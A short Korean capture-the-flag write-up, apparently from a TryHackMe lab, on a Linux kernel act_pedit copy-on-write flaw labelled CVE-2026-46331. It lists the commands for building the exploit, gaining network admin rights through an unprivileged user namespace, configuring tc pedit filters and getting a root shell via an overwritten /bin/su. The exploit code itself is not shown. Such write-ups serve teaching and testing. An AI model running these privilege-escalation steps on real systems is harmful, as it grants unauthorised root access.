
pedit COW 취약점(CVE-2026-46331)에 대한 분석서와 익스플로잇 단계
pedit COW 취약점(CVE-2026-46331)에 대한 분석 및 익스플로잇 단계.
이 챌린지는 Linux 커널의 트래픽 제어 서브시스템에서 패킷 편집 액션(act_pedit)에 존재하는 pedit COW 결함을 시연합니다. 이 취약점은 권한이 없는 사용자가 setuid-root 바이너리의 메모리 내 복사본을 덮어쓰도록 허용하여, 디스크 상의 파일을 건드리지 않고도 사실상 루트 셸을 획득할 수 있게 합니다.
환경은 권한이 없는 사용자(karen)로 시작합니다.
id
cd ~/packet_edit_meme
make packet_edit_meme
트래픽 제어를 구성하려면 일반적으로 CAP_NET_ADMIN 권한이 필요하며, 일반 사용자는 이 권한이 없습니다. 권한이 없는 사용자 네임스페이스를 사용하여 이 기능을 획득했습니다.
unshare -r -n
네임스페이스 내부에서 clsact qdisc를 구성하고 pedit 액션을 트리거하는 필터를 적용했습니다.
tc qdisc del dev lo clsact
tc qdisc add dev lo clsact
tc filter add dev lo egress matchall action pedit ex munge ip ttl set 64
환경 설정을 마친 후 루트 셸을 종료하고 권한이 없는 사용자로 익스플로잇을 실행했습니다.
exit
./packet_edit_meme
익스플로잇이 성공적으로 /bin/su의 엔트리를 덮어써서 대화형 루트 셸을 제공했습니다.
# cat /root/flag.txt
THM{YOUR_FLAG_HERE}